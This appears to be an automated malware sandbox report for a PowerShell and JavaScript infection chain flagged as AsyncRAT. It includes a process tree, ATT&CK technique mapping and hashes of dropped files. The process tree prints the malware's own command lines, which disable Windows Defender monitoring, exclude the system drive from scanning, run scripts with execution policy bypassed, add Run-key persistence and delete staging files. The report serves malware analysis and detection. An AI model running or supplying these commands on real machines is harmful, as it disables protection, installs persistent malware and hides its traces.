'%vVlGz%','C:\Users\Public\mqfvd的这五js') ;$JWSrQ = 'C:\Users\Public\smwbn.p' + 's1' ; $gtDQD | Out-File -FilePath $JWSrQ -force ; powershell -ExecutionPolicy Bypass -file $JWSrQ ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\smwbn.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\lfydx_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2260
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Clear-DnsClientCache -ErrorAction SilentlyContinue; ipconfig /flushdns | Out-Null ;
        6⤵
        Hide Artifacts: Ignore Process Interrupts
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2660
        
        C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        7⤵
        Gathers network information
        
        PID:2468
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778706507.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1908
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3412
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3148
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3648
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4466.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:216
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2364
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4487.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2196
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2684
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4466.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1808
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1668
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4487.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3344
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4092
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\v00021181002110001-000211.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1344
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2420
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\bnvlc.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3748
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2036
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\lcdpm.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1940
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5080
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\lfydx_01.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4940
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2028
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mqfvd.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3792
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:820
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\smwbn.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1480
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2228
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3832
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\eedhy.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:4272
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vqqua.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:2364
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rfwfi.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:2172
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        
        PID:5004
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
        System Location Discovery: System Language Discovery
        
        PID:828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\lulkc.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vqqua.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vqqua.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:4244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vqqua.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:2280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vqqua.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vqqua.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:3468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vqqua.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:5012
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\mqfvd.js"
        6⤵
        
        PID:2740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

eedhy.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\eedhy.ps1
Size 418B
SHA256 645688b7550dcb9021ef180e64acb9aafe715643005cd378f6bd6f23c498c1ce
MD5 f444fc7fafbf53e899a7d9ffca4141b6
SHA1 786f7540811d8b3d1a1f3795de8a9736cd25e3a2
SHA512 159ee14861ea4c81987f1686f5996213fc8d926877eda0aedca0b1f20cec9ea050a8057506f61e56ebb0bc3b650388866867b9214902f133a6ef84e06ace2c08
TLSH
T15DE02B01B9549679CAD2A424C3917AB4CA77C69D7329120233AFDB0FF60C61B907D3B6
MD5 SHA1 SHA512 TLSH

Submit Download

lulkc.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\lulkc.ps1
Size 320B
SHA256 1e02731a117f3b315b44a509ac22eb0af1ef36c284c71d05404e2f0249e53bf3
MD5 ff09a5e020190319b3892de7da260e37
SHA1 a6252103c3f05bcc7de6f3497a0979403d70cefc
SHA512 e82e25286a2dc52824865e12eca941719af953ec4883380b74cd00f25458a7d537a81b0ed2a3b3cf4c2136b7d8c185e581d2dd8ff12abe7851c84dfe4478e885
TLSH
T1FCE026107CA586F88963C83662D6ABB0CAA3E96D330D110173AA878FF600A29546C55C
MD5 SHA1 SHA512 TLSH

Submit Download

rfwfi.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rfwfi.ps1
Size 16.4MB
SHA256 11c651ce2ccdc7e248455362ff427c9d1a8a61e6da7d8af40fbdcbadf092f05b
MD5 8bdd26b5f709733668eb7832e8d9ca9e
SHA1 d8625c654c929e38c8f4cc768baa284ad1df62f4
SHA512 0dba53682f0dd365f46cbe26c0b1510b287cd360e1ac9fea283c0e3d8e165ee31410822be00d65dff447c181ba180927f2c9539562f77e2683d76d5b72ff9f1a
SSDEEP 3072:F5gb84nFwzX7O/cgVSPhCJIgP3CqwuzxhM/XP5vFpJga3d9dD5lGUcg6zfkWg+Aj:j
TLSH
T18607FE3DCEE8423EC2B7C929D9CA4A17F85A091B231CFD4A64D773A75527183BCA211D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vqqua.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vqqua.ps1
Size 423B
SHA256 7cc05fadf781de7a9f8b7939e43f345a3fa2538401aa45cee98d96df67777c1c
MD5 46e9ba61cdaa44793279e69d7fe59245
SHA1 a76654ea1b973750fce7da3a83a169aa4c0c938c
SHA512 4a6509669ca75bacd86a793da8321a895fcefdb08b9f5873155018af7d9a48b2c28fc637bfc3ddfa72a60758b0ed4f8786ca0c46143635f366c4c842db2a02f2
TLSH
T118E05C00B5545578C691A42083917AB0CA67C24C73281201335A9B0FF20C61A907D376
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 082ffd70d3395f072b4ae9f6121565fded98d42b533a13af90e4f07c8ed72c8e
MD5 020f0f176d324a7013adaa69ee1b1496
SHA1 c09c660b2ffa8675e7a6484dfadaec51b1e1c3ba
SHA512 1d21146a6f2d80cdd6e2dedb3c74f77d4e1cdfbb295f557e7e8a871c61a9ebb52c4d053abd21853108d359d923abc9ed98ed04b5be3afd297dbac65673b3af59
TLSH
T11351EF313275F0D4C9667F07292819D463BF4386EA94AF5CB658621ED93641BCF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
TLSH
T170334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download